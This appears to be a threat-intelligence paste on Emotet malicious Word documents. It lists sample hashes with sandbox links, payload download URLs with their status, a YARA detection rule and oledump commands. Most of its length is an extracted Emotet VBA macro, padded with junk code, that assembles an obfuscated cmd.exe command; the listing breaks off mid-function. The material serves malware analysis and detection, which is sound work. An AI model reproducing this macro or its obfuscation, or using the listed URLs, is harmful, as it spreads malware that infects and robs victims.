Emotet latest Docs

List is provided by InQuest (@InQuest) -- 1/25/2019
Latest Emotet Instances (All docs are in Microsoft Office XML format)

6aa29be70589309899a2db514962c6303d017e210d2887a2a20095b1f8d42115     DOC-348525.doc
https://app.any.run/tasks/0621568e-66cb-4f34-922b-89a1185e047b

750f2fd9a81cb4f145bd5892e6389fefa7bf682422809f90c3da91447c74f526     DOC-81320.doc
https://app.any.run/tasks/54d94d33-037c-40b1-b4f8-36c3bf8d0bab

b883b1c4675ddf4c9137a5bfe882486f6e8cdc29b0f266a2c3cf3848ee640460     INV-60220.doc
https://app.any.run/tasks/e66761da-3e33-41be-8f71-7b2eee3f00f2

f3647ec8454d7231f61f29ad9c6c0897eba1e7242e738a9154a7b7690d660d0f     FILE-52784.doc
https://app.any.run/tasks/6fd7ea01-da45-4c42-8010-533dc344ff98

a7e67c40523417036259961a8ba7d4d793cafb5a0abe7931d17a359e444ee942	 DOC-395923.doc
https://app.any.run/tasks/3e3a1a65-e3ed-4169-83a8-de940a7d50d8


http://beyondbathroomsandplumbing.co.uk/hNCIxykdZ85  -- Active
77.68.64.1
http://allinmadagascar.com/8j74oPGHNf_aHuw08Hib  -- Active
77.68.11.121
http://therxreview.com/BYT1D3keQi  -- Suspended
http://leonardokubrick.com/TCx3yCt8wf3  -- Active
186.64.119.120
http://clubmestre.com/qRd7K5sf5_4  -- Active
31.14.255.108
http://leadersta.com/ZdsxZDdJ8a  -- file not found
http://granbonsai.com/E8O1Uc5awNVU  -- Active
199.79.62.20
http://web-cude.com/wp-admin/huEZ8gXOLxqu_Hai5jicFl  -- 503 service not available
http://hzmrussia.ru/wp-admin/images/Q5N8LH6S1nAf5dV_RXwp -- 403 access is forbidden
http://ispytanie.savel.ru/Sy144QX5S9RkF -- Active
2a00:15f8:a000:5:1:14:0:8184

Detecting Docs (in Office XML format) containing ActiveMime objects using Yara:
rule Emotet_ActiveMime
{
	strings:
		$a = "QWN0aXZlTWltZ"
		$b = "editdata.mso"
		$c = "Word.Document"

	condition:
		$a and $c and not $b
}

Extracting VBA Macro from Docs using Oledump:

oledump.py 750f2fd9a81cb4f145bd5892e6389fefa7bf682422809f90c3da91447c74f526
oledump.py -s A11 750f2fd9a81cb4f145bd5892e6389fefa7bf682422809f90c3da91447c74f526 -v



Sample VBA macro:
# contains junk code (select case statement is junk)

Attribute VB_Name = "twrtm"
Function akuuwh()
On Error Resume Next
Select Case kjudq
         Case 113
            soupjnc = Int(jutkorz)
            rcsiw = Fix(147)
            fothz = nviiirc
         Case 198
            izdrv = Sin(tkllijr)
            jinjn = CBool(awsmpf)
            wzdojh = CInt(368)
      End Select
   Select Case sqmbbuv
         Case 852
            cmjov = Int(itphpzr)
            cpfso = Fix(951)
            wmchl = rzfahft
         Case 999
            ucrrc = Sin(mbsfqwp)
            csislsd = CBool(ssrhui)
            luvwm = CInt(752)
      End Select
ootjjmm = "c:\duq" + "lc\nw" + "hauo\" + "mikqju" + "\.."
Select Case ulbzl
         Case 85
            zbhiorw = Int(dkzzzlj)
            ohuwlvz = Fix(200)
            sljzr = tmswnm
         Case 896
            ztfvauo = Sin(ribpli)
            sznwn = CBool(kruszbv)
            uwjzpiz = CInt(904)
      End Select
   Select Case scjjhdo
         Case 860
            simjhzf = Int(sdjut)
            rhrbwz = Fix(988)
            kzqqb = jntfkvi
         Case 334
            tasjh = Sin(umhizau)
            iwwouf = CBool(dhajb)
            jruizhr = CInt(91)
      End Select
   Select Case lssfwzb
         Case 234
            oiilh = Int(jzzrji)
            ujndrv = Fix(366)
            djrkrcn = bpoji
         Case 21
            uwmhi = Sin(scroci)
            oliwo = CBool(wjuwho)
            wmznal = CInt(303)
      End Select
csplw = "\..\" + "..\w" + "indows" + "\sys" + "tem3" + "2\cm" + "d.ex"
Select Case ropkli
         Case 330
            toslkil = Int(dafusa)
            qanhpfr = Fix(179)
            fwrzaj = fbwqnuz
         Case 413
            lzvolr = Sin(spdja)
            vfnui = CBool(uuuwwan)
            fwjtjr = CInt(646)
      End Select
   Select Case wrmjrtw
         Case 660
            ljqsn = Int(zuvvrr)
            jbwpwj = Fix(559)
            nhjjlfw = hdntl
         Case 523
            fdjzia = Sin(irabfuz)
            ifajlpw = CBool(jwappi)
            dkrujh = CInt(978)
      End Select
sojuwb = "e /c " + "%Progr" + "amDat" + "a:~" + "0,1"
Select Case iwlhcr
         Case 484
            wjfbrc = Int(owzufkn)
            opsdo = Fix(767)
            jdmoiwj = snpfpn
         Case 44
            awuzlw = Sin(dzifhpw)
            wjijcp = CBool(rajbzb)
            ztkbhro = CInt(271)
      End Select
   Select Case qjpppfd
         Case 32
            vzhzd = Int(ilhnwh)
            jsjuz = Fix(387)
            kiokt = ajzijv
         Case 216
            ihwkpju = Sin(hjntjdz)
            wspzvqz = CBool(wzkmd)
            mrnwra = CInt(414)
      End Select
hajzvk = "%%Pr" + "ogramD" + "ata:" + "~9,2" + "% /V:O" + "N/C" + Chr(34) + "set " + "hUB="
Select Case kzrfia
         Case 195
            dcnbd = Int(zqiuv)
            khpzsfd = Fix(263)
            tsprdsz = onhhff
         Case 143
            sadrwz = Sin(pdmiwwl)
            likuw = CBool(izjdajr)
            unquc = CInt(847)
      End Select
   Select Case jozzhiz
         Case 378
            ojbwrf = Int(zziiuoz)
            soduzo = Fix(807)
            ptrjzd = tjflvs
         Case 709
            uuauk = Sin(tfvppr)
            kapib = CBool(azlvn)
            zvkir = CInt(782)
      End Select
fqjnshu = ":5xy" + "iaD8V" + "jA0W=v" + "-4M ER" + "pgnGo$" + "Lw(h3" + "9IFJ," + "Oe/_z" + "U{ur" + Chr(43) + "T"
Select Case lwkhp
         Case 337
            rcqtss = Int(awqupb)
            hdtvw = Fix(33)
            tpkjzl = sjbwmz
         Case 338
            sfnwvmj = Sin(zmpjq)
            azchwj = CBool(jbjaq)
            uuzjv = CInt(43)
      End Select
   Select Case wzfua
         Case 134
            kjulzii = Int(czijcsm)
            fttlj = Fix(315)
            jnpsiw = mjismk
         Case 182
            dkjtv = Sin(suwizwz)
            jvvaft = CBool(tqjdj)
            ouddzwz = CInt(539)
      End Select
ozwsnjw = "dHNkf;" + "\XtmS" + "~bC@cQ" + "PBZ6)." + "qls" + "%}1'&" + "&for %"
Select Case qmwjo
         Case 678
            zrizt = Int(lowbu)
            lwliu = Fix(139)
            pzzzot = nlnac
         Case 950
            cioai = Sin(sziaw)
            wjdkb = CBool(uhkillp)
            jnbdj = CInt(643)
      End Select
   Select Case otwukk
         Case 284
            vmijhph = Int(unlssp)
            otiric = Fix(536)
            wbljqz = vfwkwow
         Case 684
            bivbjzz = Sin(whnkqk)
            fzaipf = CBool(jwbsflz)
            mrnzsm = CInt(451)
      End Select
   Select Case slprcaj
         Case 440
            imddj = Int(jippm)
            izpdwcc = Fix(993)
            uzzsc = drpsh
         Case 189
            wtuowcj = Sin(idkdnta)
            cjkdld = CBool(mutcau)
            cihlz = CInt(924)
      End Select
kzkzp = "C in " + "(21;" + "25;28" + ";74;6" + "5;42" + ";66;27"
Select Case cqzifn
         Case 868
            zlzujmj = Int(qdawqtz)
            bqjwuw = Fix(483)
            zjrhif = fzouiao
         Case 560
            liafhd = Sin(wtbrzhh)
            objuu = CBool(nznowpr)
            matmtb = CInt(565)
      End Select
   Select Case dibswn
         Case 530
            zhmzzt = Int(avifta)
            joilkw = Fix(917)
            kdluoru = irkhc
         Case 856
            unndj = Sin(jpziqi)
            vboqvt = CBool(ovlwa)
            lmwjd = CInt(400)
      End Select
vbnws = ";33;" + "61;0" + ";59;" + "1;36" + ";76;" + "74;45;"
Select Case sildza
         Case 191
            wzbjwi = Int(zjosqtq)
            obcwku = Fix(335)
            zchbb = jmzuzj
         Case 685
            jjprc = Sin(mmldcko)
            zwhsqzi = CBool(jjtwn)
            cwintv = CInt(990)
      End Select
   Select Case izjjq
         Case 488
            lpbbwm = Int(rzmtuna)
            kdtidnf = Fix(402)
            ziorcdh = ztrmozs
         Case 877
            nqzjmji = Sin(hcvrc)
            rdhkqn = CBool(aasrf)
            qjphbz = CInt(939)
      End Select
pzoqicp = "74;58" + ";19;58" + ";58;33" + ";37;" + "50;" + "50;1" + "0;17;1"
Select Case wsipz
         Case 768
            pnswdm = Int(jokrf)
            kzsor = Fix(203)
            zotrkl = jcmjhjt
         Case 255
            ijzmk = Sin(rushff)
            asjkul = CBool(qapta)
            iltma = CInt(665)
      End Select
   Select Case pttnlia
         Case 322
            wwatrd = Int(tldcibn)
            pcqfk = Fix(332)
            sawmh = mdwboji
         Case 598
            twrmks = Sin(wlfrilp)
            zdthlh = CBool(iflcbk)
            qrjbuh = CInt(306)
      End Select
   Select Case zbujzq
         Case 682
            dqjabor = Int(jdwbws)
            nwrwhjn = Fix(670)
            arpkwn = irufq
         Case 371
            doqwico = Sin(uitwj)
            hwqtbw = CBool(zrozbh)
            ipjwb = CInt(922)
      End Select
mjbfk = "9;0;59" + ";15;1" + "6;3" + "6;76" + ";74;3"
akuuwh = ootjjmm + csplw + sojuwb + hajzvk + fqjnshu + ozwsnjw + kzkzp + vbnws + pzoqicp + mjbfk
End Function

Function zlwrsaq()
On Error Resume Next
Select Case zifjo
         Case 902
            iqdvzf = Int(whqlft)
            jibjtmw = Fix(433)
            unadj = twikl
         Case 165
            fjhijz = Sin(ozjvbq)
            sjwlnls = CBool(dmwrhza)
            nfrdibn = CInt(26)
      End Select
   Select Case cdpizkb
         Case 670
            lfwnlnz = Int(iaflko)
            iisbs = Fix(204)
            mtkptwh = ntkawwo
         Case 740
            zwrfqph = Sin(kwtzjn)
            ovrlsrp = CBool(wbjjihi)
            dvnuzlz = CInt(805)
      End Select
vjcdmsb = "0;74;4" + "7;19;" + "17;65" + ";0;" + "59;15;"
Select Case zbzlujb
         Case 492
            uwzwfr = Int(wrwdlj)
            owvwaj = Fix(377)
            abawhmi = jbjzt
         Case 308
            kzvtpn = Sin(ufrhmn)
            zipbnq = CBool(kidodr)
            dkwmqf = CInt(450)
      End Select
   Select Case qmcwmoh
         Case 814
            ijcqpr = Int(bdjvrv)
            uhtni = Fix(80)
            dtlzjc = twqumoq
         Case 515
            awquuhs = Sin(ablbclr)
            jfkzjlc = CBool(jsfqj)
            bwtjwi = CInt(261)
      End Select
   Select Case cujwi
         Case 142
            jfmio = Int(zdwquc)
            jkpzfzj = Fix(563)
            vojlwoz = urlqcim
         Case 312
            irfmwzl = Sin(sjaqd)
            nhnfisw = CBool(iwunrtq)
            fbpbimn = CInt(982)
      End Select
ubiajv = "31;" + "36;7" + "6;7" + "4;7" + "2;72;" + "18;26;" + "14;73" + ";63;4"
Select Case qazwkr
         Case 101
            jjqqr = Int(pwzvci)
            kmzcb = Fix(349)
            nuicu = klpzffc
         Case 237
            japqsjh = Sin(mwtafus)
            wncpk = CBool(jmkwwi)
            ksibn = CInt(826)
      End Select
   Select Case kmfjf
         Case 726
            miiqr = Int(wrlszfi)
            blpvkr = Fix(413)
            vjjzli = mhcntw
         Case 95
            qtfnbjf = Sin(tdzqv)
            cvcqaf = CBool(ktwfwi)
            wkaqpa = CInt(741)
      End Select
zstqk = "8;23;4" + "8;4" + "4;13" + ";77" + ";4;4" + "1;4;" + "23;4" + ";9;7"
Select Case uhcctr
         Case 60
            otaszr = Int(ckitjq)
            hmailc = Fix(521)
            jiwkj = ommfwvv
         Case 184
            zjpwk = Sin(lmiaj)
            frkrit = CBool(wlfzips)
            wfkfis = CInt(425)
      End Select
   Select Case bauwpv
         Case 297
            ppbzzhj = Int(tiuwsu)
            zhuzqwv = Fix(173)
            ijsnosw = zutcd
         Case 791
            stfhz = Sin(vzwazrj)
            mfnwfp = CBool(lprafir)
            qdlfn = CInt(181)
      End Select
   Select Case iqntjf
         Case 968
            vsarvwh = Int(fcswbq)
            iahabii = Fix(146)
            lflkiw = vazisi
         Case 571
            zvjpzdl = Sin(wsuovnu)
            fzvztol = CBool(aaiclw)
            huvoc = CInt(10)
      End Select
rwhik = "7;53;2" + "6;51;2" + "5;6" + "3;45;2" + "3;5"
Select Case wlcdrh
         Case 457
            forpbh = Int(nwwnu)
            prcwrv = Fix(970)
            jiqjjai = rvvmci
         Case 756
            npkcdjn = Sin(fpavj)
            fzqqtms = CBool(djtdowc)
            lbohajs = CInt(722)
      End Select
   Select Case ikadpf
         Case 516
            fjrhi = Int(obvjmb)
            thzzc = Fix(796)
            qcomo = kzqrzjs
         Case 964
            azothd = Sin(wjhfq)
            rabft = CBool(iflkv)
            uaico = CInt(61)
      End Select
ovozuw = "2;4;13" + ";23;" + "38;2" + "8;15;2" + "5;6" + "0;9;3" + "8;63;5" + "6;18;5"
Select Case ioasfv
         Case 515
            jdlwzao = Int(wofihz)
            zsfor = Fix(613)
            whiij = vomrwz
         Case 116
            uadui = Sin(btizu)
            oniwb = CBool(bdbwk)
            hddutdt = CInt(681)
      End Select
   Select Case ttbzo
         Case 816
            fnowii = Int(vidzum)
            vkjoij = Fix(401)
            jwdliwu = hwkpjjb
         Case 505
            awjjimc = Sin(ikvdmj)
            iarkjk = CBool(offiw)
            qnavwp = CInt(810)
      End Select
   Select Case ztarwk
         Case 726
            oiqrt = Int(btpnbjk)
            twjzs = Fix(883)
            zkwwstj = ovzfmjs
         Case 32
            crmrjhk = Sin(mdkrit)
            mbjajj = CBool(otajpo)
            bzjktp = CInt(570)
      End Select
sajpfwv = "0;38;5" + "6;70;" + "12;" + "38;6" + "0;61;"
Select Case aqcdcl
         Case 407
            bjfbb = Int(zwjvcqz)
            hwnrz = Fix(520)
            kkhrf = vwjhp
         Case 616
            fibma = Sin(jtcwv)
            cdowwrq = CBool(uczzf)
            krluhi = CInt(857)
      End Select
   Select Case binmzi
         Case 774
            wbdmwtl = Int(zwtbj)
            awkmsk = Fix(66)
            bdfmmu = blvzdi
         Case 967
            vznrzz = Sin(zhkhzlz)
            vpfktdl = CBool(vtrwo)
            hpicwb = CInt(241)
      End Select
cbopia = "72;" + "4;3" + "8;2" + "3;56;" + "53;" + "26;" + "41;4" + "5;56;2" + "5;2"
zlwrsaq = vjcdmsb + ubiajv + zstqk + rwhik + ovozuw + sajpfwv + cbopia
End Function

Function ujtqrfo()
On Error Resume Next
Select Case civntlz
         Case 266
            dralr = Int(scdwwa)
            ismovp = Fix(896)
            iwvupad = djzcqr
         Case 490
            dhviizd = Sin(mscmjbh)
            ludcaon = CBool(lccvbj)
            izapwqa = CInt(274)
      End Select
   Select Case czrjnot
         Case 153
            owaoi = Int(vbizvad)
            pciwiz = Fix(128)
            ztzpvuh = juupni
         Case 168
            pahwni = Sin(rztwqvv)
            szfjjs = CBool(uiszpw)
            joimaf = CInt(816)
      End Select
   Select Case bwfdhq
         Case 991
            vibtqbh = Int(imlss)
            roodn = Fix(294)
            qjbqqsp = itijzj
         Case 946
            zlqwi = Sin(zpckmj)
            ccjzrhn = CBool(znzpz)
            qamjz = CInt(301)
      End Select
qawvi = "8;56" + ";13;" + "77;30" + ";56" + ";56;2" + "1;0" + ";39" + ";39;72"
Select Case cunqnj
         Case 922
            jqcjwt = Int(ntsuza)
            qfjzu = Fix(251)
            wrdmuq = jwwbv
         Case 240
            ialuk = Sin(uslza)
            qanqkj = CBool(pzhpn)
            ukknc = CInt(587)
      End Select
   Select Case fodll
         Case 350
            jcjswif = Int(zlriq)
            lsijqu = Fix(352)
            qwzjbk = jhcnnoz
         Case 972
            wipzozn = Sin(izfltqi)
            fpzmwt = CBool(nczihk)
            mlvrhcw = CInt(64)
      End Select
   Select Case bsmzcl
         Case 518
            drrtf = Int(apqcft)
            jtawb = Fix(753)
            nzdlj = dfcjaoa
         Case 90
            vvnpw = Sin(mhpjk)
            mzqdvc = CBool(bzmzdm)
            iqkvfz = CInt(642)
      End Select
uwwjis = ";38;5" + ";48;3" + "8;4" + "5;73;" + "56;5" + ";70;63" + ";25;57" + ";39;"
Select Case pssaf
         Case 664
            zfrcca = Int(qcbbui)
            skizwii = Fix(526)
            wbqqon = nrjqb
         Case 19
            nzpfj = Sin(tiujun)
            dwnbjza = CBool(brvmrc)
            wvqlz = CInt(957)
      End Select
   Select Case vdcvv
         Case 526
            ucjcjz = Int(wrioa)
            osfomjm = Fix(791)
            vwwjkiv = hokjqf
         Case 295
            truczho = Sin(zsaiiu)
            auwmnj = CBool(qhdmoi)
            tbzwszq = CInt(808)
      End Select
nizjqwf = "67;4" + "8;73" + ";2;67" + ";6;48" + ";35;7;" + "5;62" + ";30;"
Select Case lmdjjcj
         Case 778
            qzzbr = Int(rclhwmj)
            pliucfb = Fix(772)
            zibkovv = qmowr
         Case 149
            nlnzuv = Sin(vlzalw)
            vonqrwm = CBool(iwjapr)
            wniqwf = CInt(503)
      End Select
   Select Case zkfht
         Case 552
            nqroai = Int(cspsw)
            jjsulbr = Fix(169)
            knkcrqm = pmmttv
         Case 397
            wkwijo = Sin(btokv)
            tpvdfl = CBool(mozjt)
            wbzjhvz = CInt(64)
      End Select
qosrw = "56;56;" + "21;0;3" + "9;3" + "9;2" + "2;45" + ";5;" + "23;60;" + "25;" + "23;73"
Select Case zcmzin
         Case 174
            fpiauj = Int(qijzlch)
            ijpcjjb = Fix(608)
            bnqcwki = puizh
         Case 644
            hunaf = Sin(iuhivi)
            soijzc = CBool(dwahza)
            loitv = CInt(579)
      End Select
   Select Case ifsiwnf
         Case 490
            pstiddu = Int(nmvjbvq)
            sbsbu = Fix(416)
            ozrazl = flmia
         Case 314
            swmjw = Sin(jozuqa)
            ijmovbu = CBool(iiwjd)
            ktliz = CInt(921)
      End Select
qkmzrzi = ";5;4" + ";70;6" + "3;2" + "5;57;3" + "9;1" + "9;7"
Select Case ilwdt
         Case 192
            micrlm = Int(lrfzz)
            wdiijcp = Fix(698)
            ciifj = roiji
         Case 698
            zdqmskd = Sin(azpaio)
            slihjb = CBool(bfjzqol)
            mzwfsv = CInt(956)
      End Select
   Select Case scrimv
         Case 766
            omkiiq = Int(bwjnps)
            uznkpo = Fix(919)
            szzfzv = mjkzh
         Case 553
            owbqzc = Sin(tswjhw)
            rwqtth = CBool(fhdiw)
            ljwapw = CInt(73)
      End Select
   Select Case hsdhdp
         Case 419
            vvchppo = Int(spids)
            qjujwto = Fix(545)
            ppdbju = fwowq
         Case 839
            fknmiz = Sin(njqdub)
            tjzzzw = CBool(vwnfirt)
            modbc = CInt(160)
      End Select
olizvw = ";37;76" + ";42;63" + ";1;5;2" + "8;50;8" + ";42" + ";62;3" + "0;5" + "6;56;2"
Select Case quwiraz
         Case 276
            vzainc = Int(czjbc)
            wolvitz = Fix(542)
            sbwlbpl = wzqmc
         Case 363
            zqposij = Sin(lmhrwj)
            vbpvai = CBool(trwic)
            pzbzwi = CInt(973)
      End Select
   Select Case wacah
         Case 257
            uzhirkl = Int(wlizlwa)
            cazbz = Fix(593)
            nvfcvi = biicmwq
         Case 112
            tlindbt = Sin(abszr)
            zpuud = CBool(dkrsi)
            kuhzw = CInt(427)
      End Select
iiuacui = "1;0;39" + ";39" + ";28" + ";38" + ";60;1" + "5;63;" + "44;48;" + "38;" + "70;"
Select Case mclmziv
         Case 906
            dsomd = Int(bwhfsp)
            dwlvzzq = Fix(800)
            foziijm = jttrh
         Case 688
            inoumiq = Sin(jcccm)
            qwvuzqb = CBool(kabji)
            mdihi = CInt(77)
      End Select
   Select Case quioq
         Case 202
            wqktcpf = Int(cjildi)
            twjzzks = Fix(838)
            viaphz = ozcfra
         Case 161
            zqtnmvw = Sin(hawfs)
            bjwnn = CBool(wmtpo)
            iuksu = CInt(222)
      End Select
mdswpm = "63;" + "25;" + "57;39;" + "28;2" + "1;15" + ";5;48;"
Select Case vjuqj
         Case 174
            mroqt = Int(rqjjju)
            pjqiawv = Fix(989)
            iokibi = dwwzbw
         Case 691
            jztkm = Sin(fjqzui)
            nhocajp = CBool(qrbupi)
            wqpciw = CInt(692)
      End Select
   Select Case wwswjj
         Case 182
            wmmrcad = Int(hlkftst)
            azzjn = Fix(819)
            zzijwd = ktlwws
         Case 697
            vwdriai = Sin(iwwnz)
            mdizl = CBool(jqiwi)
            hhfnr = CInt(891)
      End Select
zzzuzdr = "57;4;2" + "3;39;" + "30;44;" + "19;6" + "7;7;" + "22;5"
Select Case zwmaow
         Case 170
            zwhnbkz = Int(jfvjzb)
            qohuqw = Fix(234)
            prozsnk = jzwvm
         Case 975
            jztqw = Sin(zipbdh)
            wcujt = CBool(rkwssn)
            cizlmiz = CInt(358)
      End Select
   Select Case ucprlob
         Case 587
            pdcuid = Int(sirmmj)
            hkvmci = Fix(195)
            qjbqlrf = mospkk
         Case 31
            qiiqjrb = Sin(ukhlwf)
            uzzjrm = CBool(tmsrz)
            hhpolz = CInt(991)
      End Select
alzbb = "5;37;" + "27;2;7" + "1;44;4" + "0;4" + "9;5;"
Select Case bzjvz
         Case 250
            poiudm = Int(dmonor)
            zjdllbk = Fix(338)
            ztqkc = wtbiz
         Case 84
            uditon = Sin(mvqdja)
            zvcmi = CBool(jrmpzll)
            izqzj = CInt(576)
      End Select
   Select Case hjmiazr
         Case 927
            dwpzcsc = Int(viuwp)
            pvsmzrz = Fix(76)
            zkbftw = lvzazwi
         Case 710
            qmlwmc = Sin(jttmwno)
            riaciii = CBool(bpvti)
            olzzb = CInt(907)
      End Select
   Select Case oommkqc
         Case 359
            dvhnoaw = Int(olnfzf)
            vmwrb = Fix(270)
            ckzazvm = tcoid
         Case 491
            vdjaip = Sin(lhzii)
            pslpap = CBool(zbwddrz)
            ujfdlut = CInt(829)
      End Select
psawwkl = "4;1;" + "9;4;63" + ";34;72" + ";62;30" + ";56;" + "56;21;" + "0;39;" + "39;30;"
Select Case ddnpmhu
         Case 533
            jiaopbm = Int(pnzcts)
            zaljjck = Fix(609)
            qqjkaf = ihpiqv
         Case 85
            ifatzj = Sin(mwncfpw)
            wsafmr = CBool(jvitkq)
            qcjlzsj = CInt(972)
      End Select
   Select Case ltttit
         Case 706
            kwiqj = Int(wiiizfp)
            nozqcss = Fix(881)
            hthzih = stofr
         Case 143
            ihzljil = Sin(fthfrfl)
            tzrjvwq = CBool(ojhzvwj)
            zbidhi = CInt(320)
      End Select
   Select Case ikjvwoi
         Case 721
            kwwzod = Int(suwmov)
            jijik = Fix(917)
            fihtuw = dhommfq
         Case 43
            mwwsv = Sin(qhwjpam)
            rkwiqt = CBool(jhjqt)
            isdluln = CInt(326)
      End Select
zbocb = "41;5" + "7;45;4" + "4;7" + "3;7" + "3;4" + ";5;7"
Select Case rwztow
         Case 979
            vusuf = Int(wndimc)
            utwttj = Fix(656)
            rzfzjph = jjzhzb
         Case 935
            dvpipc = Sin(vcfbtis)
            hwopw = CBool(wwpomtu)
            rnhjmi = CInt(105)
      End Select
   Select Case qpott
         Case 900
            jktifvi = Int(bjpzhz)
            diqiki = Fix(169)
            idopks = acqusi
         Case 421
            jzdfi = Sin(fppws)
            ontmi = CBool(rrdoh)
            ukdfjib = CInt(275)
      End Select
   Select Case zshmbm
         Case 529
            kzprvjk = Int(jkfnzlt)
            wuwizu = Fix(13)
            jnjnam = qhwul
         Case 826
            jaflt = Sin(jcriubb)
            ctbmot = CBool(osulupk)
            hrtuj = CInt(872)
      End Select
ljhffom = "0;45;4" + "4;3" + "9;28" + ";21;15" + ";5;48;" + "57;4" + ";23;3" + "9;4;5" + "7;5;22"
ujtqrfo = qawvi + uwwjis + nizjqwf + qosrw + qkmzrzi + olizvw + iiuacui + mdswpm + zzzuzdr + alzbb + psawwkl + zbocb + ljhffom
End Function

Function suhmmql()
On Error Resume Next
Select Case fquiozo
         Case 546
            appau = Int(wnlbd)
            jzltcc = Fix(539)
            vzfaa = vhpfhj
         Case 490
            lwmwkuc = Sin(upoult)
            ntbozfj = CBool(unwcam)
            qibiqaw = CInt(757)
      End Select
   Select Case fjlvs
         Case 269
            sawau = Int(srlfb)
            rojtb = Fix(639)
            watwpdo = hwjtqj
         Case 748
            ctjirz = Sin(owlzf)
            wdwjv = CBool(dbwzdoh)
            qcsoj = CInt(531)
      End Select
   Select Case jilsi
         Case 409
            wnbdi = Int(tjkbrb)
            siibz = Fix(247)
            znrqik = aakiw
         Case 354
            miuzbo = Sin(qcsna)
            umddpqd = CBool(hiarrh)
            wtpoml = CInt(328)
      End Select
zjrpbr = ";38;73" + ";39" + ";64" + ";1;" + "50;7;2" + "7;49;" + "68;" + "58;7"
Select Case zihvwmh
         Case 867
            salij = Int(kimknrj)
            zzvmo = Fix(334)
            kfupnr = ajjsdrj
         Case 859
            ilkkmao = Sin(jbsqjj)
            bohwnpk = CBool(zobjqz)
            ihcatt = CInt(62)
      End Select
   Select Case cirpcd
         Case 747
            houohdz = Int(bjvnq)
            zuzik = Fix(754)
            nuppfdw = pzjdo
         Case 604
            fajfpp = Sin(jijtlm)
            bamnifc = CBool(owradj)
            vitjnzf = CInt(60)
      End Select
ozvclib = "6;2" + "3;1" + "0;52" + ";1;4" + "8;8;40"
Select Case rsnkvfb
         Case 641
            zivqria = Int(wdwqrjt)
            saism = Fix(42)
            nljzqnb = nsodmcj
         Case 61
            scvdcz = Sin(tnjwucs)
            zzhpzi = CBool(atifzwr)
            wzrhdz = CInt(873)
      End Select
   Select Case zcuhvm
         Case 159
            njqzhqa = Int(ffwhw)
            kmbznad = Fix(646)
            qjdick = oaclc
         Case 948
            jwwupd = Sin(ladcln)
            pzzul = CBool(utikw)
            jckwqhs = CInt(531)
      End Select
   Select Case bonnjuj
         Case 15
            jijict = Int(njjmt)
            wkbzk = Fix(420)
            rvhuo = btwojkj
         Case 178
            hfpjlpv = Sin(kjiav)
            jpivzj = CBool(hqpikvs)
            bdfiv = CInt(227)
      End Select
hkitsbo = ";20;" + "55;" + "28;21;" + "62;3" + "0;56" + ";56;" + "21;"
Select Case oacjauk
         Case 302
            afwot = Int(dzzvifs)
            tfsib = Fix(6)
            jjikkl = avnjn
         Case 55
            tbdzvk = Sin(uuafpz)
            fofnn = CBool(mirijff)
            wblzwco = CInt(957)
      End Select
   Select Case jtzthsq
         Case 851
            fkwlb = Int(ptwwqol)
            zoqdcjz = Fix(217)
            pztrnja = mputmb
         Case 128
            wtiljkv = Sin(wbwmq)
            jwvbl = CBool(mcaicv)
            zwjjm = CInt(711)
      End Select
qkpoas = "0;39;3" + "9;4;7" + "3;21;" + "3;56;" + "5;2" + "3;4;3"
Select Case wqhhcz
         Case 442
            tqbbzt = Int(njwnw)
            iuwio = Fix(608)
            ciaapnm = kjzknjc
         Case 988
            jalvzda = Sin(zczvi)
            twtiqbd = CBool(rqwrk)
            cwdwqm = CInt(116)
      End Select
   Select Case vasifm
         Case 696
            razwjrl = Int(cnppfj)
            wntwwno = Fix(520)
            pwtwaar = fvbuz
         Case 307
            dtjuizj = Sin(bvsni)
            wvaqfn = CBool(adwdvtw)
            vlupb = CInt(273)
      End Select
   Select Case bjbmpk
         Case 61
            smpjpd = Int(ummim)
            mmwron = Fix(35)
            oafbrah = fmkmkqh
         Case 381
            iofoh = Sin(dljlcrm)
            ozzktfm = CBool(ofzbi)
            wvvcj = CInt(457)
      End Select
iiollo = "8;7" + "0;73" + ";5;14;" + "38;" + "72;70;" + "45;44" + ";39;58" + ";3;76;"
Select Case hrcmpzl
         Case 293
            iqwdkmm = Int(twzrqzi)
            twpcv = Fix(318)
            hbobm = phddkac
         Case 245
            usjalm = Sin(dohfjv)
            hfkzz = CBool(abjvb)
            qsjqa = CInt(593)
      End Select
   Select Case wzkjpo
         Case 27
            otvpwhc = Int(hjjcnv)
            zijdtvw = Fix(500)
            qvolf = uowula
         Case 519
            bziujo = Sin(osmtuz)
            oammt = CBool(plshl)
            hsjjuz = CInt(175)
      End Select
   Select Case ajjijr
         Case 807
            qazlajc = Int(cafrwm)
            fhqwvi = Fix(720)
            vkitd = dttzwkp
         Case 154
            loiji = Sin(wmnqzv)
            tznsc = CBool(wonfsan)
            mjqtint = CInt(510)
      End Select
pdnicpj = "16;16;" + "64;55;" + "1;5" + "8;32;" + "20;51;" + "34;7"
Select Case brmdsw
         Case 661
            phfnksd = Int(bzfap)
            djspjz = Fix(848)
            mthuuvk = mlktwwj
         Case 851
            zibbju = Sin(wctplw)
            wwimjnl = CBool(rwjjw)
            omlplr = CInt(923)
      End Select
   Select Case danlop
         Case 122
            aoioiz = Int(dwziisu)
            uzbqw = Fix(957)
            cjivzw = fvnwz
         Case 13
            zvwbdwh = Sin(hvflwip)
            cpczd = CBool(hzzjrh)
            itaaji = CInt(131)
      End Select
lqfzz = "7;70" + ";58;2" + "1;7" + "2;4;56" + ";29;77"
Select Case ijnbd
         Case 84
            wijrvki = Int(jwwzwh)
            vjvdmz = Fix(252)
            abutz = qdiow
         Case 760
            qdajsdk = Sin(qivjsm)
            nnjcmwi = CBool(ivchmbc)
            iwzkdq = CInt(958)
      End Select
   Select Case wacznql
         Case 524
            hzduw = Int(wdvrkoi)
            orwjd = Fix(735)
            jrikw = iziuzh
         Case 926
            cbfbilm = Sin(mbtokzo)
            khbma = CBool(mlfnf)
            jddcnw = CInt(842)
      End Select
fuwrvo = ";62;77" + ";69;53" + ";26;52" + ";41" + ";45"
suhmmql = zjrpbr + ozvclib + hkitsbo + qkpoas + iiollo + pdnicpj + lqfzz + fuwrvo
End Function

Function updhr()
On Error Resume Next
Select Case vccii
         Case 112
            kjhww = Int(wqcbt)
            uibzfw = Fix(110)
            zlscwj = prwmj
         Case 979
            ppdkzo = Sin(fhwcfzz)
            uhmijim = CBool(mcndn)
            iqjza = CInt(596)
      End Select
   Select Case jjmsfau
         Case 619
            bzczsj = Int(ptrwn)
            cpupi = Fix(155)
            pazjalw = unnqm
         Case 277
            vcljb = Sin(srclaaw)
            hmzvzbv = CBool(qczjkqi)
            jbwjnn = CInt(23)
      End Select
   Select Case umzwbk
         Case 388
            clktuc = Int(raqipvm)
